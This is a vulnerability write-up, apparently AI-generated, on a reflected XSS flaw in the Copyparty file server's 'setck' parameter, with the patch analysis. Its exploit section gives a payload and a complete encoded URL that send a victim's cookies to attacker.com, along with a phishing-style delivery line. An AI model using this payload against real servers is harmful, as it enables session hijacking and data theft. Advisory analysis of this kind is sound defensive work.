CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27948

The Party Pooper: Reflected XSS in Copyparty (CVE-2026-27948)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·5 min read·47 visits

Executive Summary (TL;DR)

Copyparty < 1.20.9 reflects the 'setck' query parameter directly into the HTML response without sanitization. Attackers can use this to execute arbitrary JavaScript in a victim's browser. Patch adds strict allowlisting (alphanumeric only) and length limits.

A classic Reflected Cross-Site Scripting (XSS) vulnerability exists in the 'copyparty' portable file server, specifically within the 'setck' URL parameter used for setting client-side configuration cookies. This flaw allows unauthenticated attackers to inject malicious JavaScript into the server's response, potentially leading to session hijacking, unauthorized file access, or administrative account takeover when a victim clicks a crafted link.

The Hook: When Convenience Becomes a Liability

Copyparty is one of those tools sysadmins love. It’s a portable file server that runs anywhere Python lives, requires zero configuration, and just works. It is the digital equivalent of a Swiss Army knife—useful, ubiquitous, and usually safe in the pocket. But as with any tool designed for maximum convenience, security boundaries often get blurred in the name of 'feature richness'.

The vulnerability we are dissecting today, CVE-2026-27948, targets a specific convenience feature: the ability to set configuration cookies via a simple URL parameter. It sounds harmless enough—like letting a user save their dark mode preference via a link. However, in the world of web security, any time an application takes user input and spits it back out without scrubbing it first, you have a recipe for disaster.

This isn't a complex heap overflow or a race condition in the kernel. It’s Reflected Cross-Site Scripting (XSS). It’s the 'Hello World' of web exploitation, yet it persists in 2026 because developers still trust users. Rule #1 of the Internet: Users are not your friends. They are entropy agents trying to break your things.

The Flaw: A Mirror for Malice

The root cause lies in copyparty/httpcli.py. The application exposes a parameter named setck (presumably short for 'Set Cookie'). The logic is straightforward: the user visits a URL containing ?setck=value, and the server sets a cookie with that value. To be helpful, the server also replies with a confirmation message, effectively saying, 'Okay, I have set the cookie to [value].'

Here is where the logic fails. The server treated the setck value as a trusted string. It took whatever garbage the user threw into the URL and reflected it directly into the HTML response body. There was no output encoding, no sanitization, and no validation.

If you send ?setck=darkmode, the server replies set cookie: darkmode. But if you send ?setck=<script>alert(1)</script>, the server happily replies set cookie: <script>alert(1)</script>. The browser, seeing the script tags in the HTML, stops treating it as text and starts executing it as code. This is a textbook Reflected XSS. The server effectively becomes a mirror, reflecting the attacker's payload onto the victim's session.

The Code: Before and After

Let's look at the actual code changes, because the diff tells the whole story. The fix was introduced in commit 31b2801fd041f803f4a3d5c12c7d7cb5419048bc. The developer realized that allowing arbitrary characters in a configuration cookie was a terrible idea.

The Vulnerable Logic (Conceptual)

Previously, the code (roughly) looked like this:

# Vulnerable pseudocode
val = request.args.get('setck')
response.set_cookie('cfg', val)
return "Cookie set to: " + val  # <--- The Reflection Point

The Fix

The patch introduces a strict allowlist. It doesn't just escape the output; it rejects bad input entirely. They added a regex to copyparty/httpcli.py:

RE_SETCK = re.compile(r"[^0-9a-z=]")

And then applied it with a hammer:

zs = self.uparam["setck"]
# 1. Length check (Max 9 chars)
# 2. Regex check (Only lowercase alphanumeric and equals)
if len(zs) > 9 or RE_SETCK.search(zs):
    raise Pebkac(400, "illegal value")

This is a robust fix. By strictly defining what is allowed (only a-z, 0-9, and =) rather than trying to filter out what is bad, they effectively neutralized the attack vector. You can't write <script> if you can't use < or >.

The Exploit: Stealing the Admin Session

To exploit this, an attacker needs to trick a logged-in Copyparty user (ideally an admin) into clicking a link. Since Copyparty is often used on internal networks or defined ports (like 3923), the attacker might target a specific host.

The Attack Chain

  1. Craft the Payload: We need a JavaScript payload that grabs the session cookie (document.cookie) and sends it to a server controlled by the attacker.
fetch('http://attacker.com/log?c='+document.cookie)
  1. Encode the Payload: Since we are passing this in a URL, we must URL-encode the special characters. <script> becomes %3Cscript%3E.

  2. Construct the URL:

http://target-file-server:3923/?setck=cp_val=%3Cscript%3Efetch('http://attacker.com/log?c='%2bdocument.cookie)%3C/script%3E
  1. Delivery: Send this link to the sysadmin via email, Slack, or embed it in a page they frequent. "Hey, check out this error on the file server."

  2. Execution: The admin clicks. The Copyparty server sees the setck param, reflects it into the body, and the admin's browser executes the script. The session token is silently exfiltrated to attacker.com.

With the session token, the attacker can impersonate the admin, upload malicious files (web shells), or delete critical backups.

The Impact: Why This Matters

You might think, "It's just XSS, big deal." But context is king. Copyparty is a file server. It has read/write access to the filesystem.

If an attacker hijacks an administrative session via XSS, they don't just get to change your wallpaper. They can:

  1. Upload Web Shells: If the server configuration allows uploads (which is the point of a file server), the attacker uploads a reverse shell.
  2. Data Exfiltration: Access private files, SSH keys, or configuration dumps stored on the server.
  3. Pivot Point: Use the compromised server as a beachhead to scan the rest of the internal network.

While the CVSS score is a moderate 5.4 (due to the requirement of user interaction), the potential impact on a trusted internal network is critical.

Official Patches

GitHubCommit 31b2801 fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
EPSS Probability
0.03%
Top 92% most exploited

Affected Systems

copyparty < 1.20.9

Affected Versions Detail

Product
Affected Versions
Fixed Version
copyparty
9001
< 1.20.91.20.9
AttributeDetail
CWECWE-79 (XSS)
Attack VectorNetwork (Reflected)
CVSS v3.15.4 (Medium)
EPSS Score0.00029 (Low)
Privileges RequiredNone
User InteractionRequired

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Reflected XSS

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

HypotheticalStandard XSS Proof of Concept using script tags.
NucleiDetection Template Available

Vulnerability Timeline

Fix commit pushed to GitHub
2026-02-25
CVE and GHSA published
2026-02-26
Version 1.20.9 released
2026-02-26

References & Sources

  • [1]GHSA-62cr-6wp5-q43h
  • [2]NVD - CVE-2026-27948

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•43 minutes ago•GHSA-387M-935M-C4VW
7.5

GHSA-387m-935m-c4vw: Unbounded HTTP Redirections Enable Infinite Loop Denial of Service in Micronaut HTTP Client

The Netty-based HTTP Client in the Micronaut framework fails to enforce a maximum redirect ceiling by default when processing HTTP responses. This permits remote, attacker-controlled servers to trigger continuous, infinite redirect loops. The resulting recursion causes high CPU utilization, thread starvation, and potential memory exhaustion, inducing a Denial of Service (DoS) state in client-side applications.

Amit Schendel
Amit Schendel
1 views•6 min read
•about 1 hour ago•GHSA-Q6GH-6V2R-HJV3
8.8

GHSA-Q6GH-6V2R-HJV3: Cross-Origin Credential Leakage in Micronaut HTTP Client

An information disclosure vulnerability exists in the Micronaut Framework's HTTP client components. The client fails to clear sensitive authorization headers and cookies when following redirects across different origins. If an application using the vulnerable client communicates with an endpoint that issues a redirect to an external host, the client will forward the original credentials, leading to potential token theft and session hijacking.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 2 hours ago•GHSA-52VM-MXX8-F227
7.7

GHSA-52vm-mxx8-f227: Arbitrary File Write and Decompression Denial of Service in phantom-audio

GHSA-52vm-mxx8-f227 is a dual-vector security flaw in phantom-audio (<= 1.3.0). The vulnerability allows arbitrary file writes due to unconfined Model Context Protocol (MCP) tool paths when the PHANTOM_OUTPUT_DIR environment variable is not defined. Concurrently, the platform lacks validation controls during the decompression of highly compressed audio files, resulting in resource-exhaustion denial of service and downstream parsing vulnerability exposure.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 2 hours ago•GHSA-C43V-4CR8-6MVP
6.5

GHSA-C43V-4CR8-6MVP: Authenticated Path Traversal in Craft CMS Asset Icon Helper

An authenticated path traversal and arbitrary local file read vulnerability exists in Craft CMS versions 4.x up to 4.17.6 within the assets/icon endpoint and Assets helper classes. By exploiting this vulnerability, an authenticated user can traverse directories and read arbitrary .svg files on the server's filesystem, or execute Stored Cross-Site Scripting (XSS) if they can upload a malicious SVG.

Alon Barad
Alon Barad
3 views•8 min read
•about 3 hours ago•GHSA-86VW-X4WW-X467
8.6

CVE-2026-56382: Remote Code Execution in Craft CMS via Yii2 Event Handler Injection

CVE-2026-56382 is a high-severity remote code execution vulnerability in Craft CMS versions 5.5.0 through 5.9.13. The vulnerability exists within the FieldsController::actionRenderCardPreview() method due to a lack of sanitization of the user-supplied fieldLayoutConfig configuration array, permitting authenticated administrators to register arbitrary PHP callbacks using Yii2 event handler injection mechanisms. This issue has been fully remediated in version 5.9.14.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 4 hours ago•GHSA-382C-VX95-W3P5
6.5

GHSA-382C-VX95-W3P5: Missing Access Control on Profile Endpoint and MCP Tool in Gittensory

An insecure direct object reference (IDOR) and missing authorization validation check in the Gittensory REST API and Model Context Protocol (MCP) server allowed authenticated users to query arbitrary miner profiles, exposing sensitive cryptographic hotkeys and daily financial/economic yields.

Alon Barad
Alon Barad
5 views•6 min read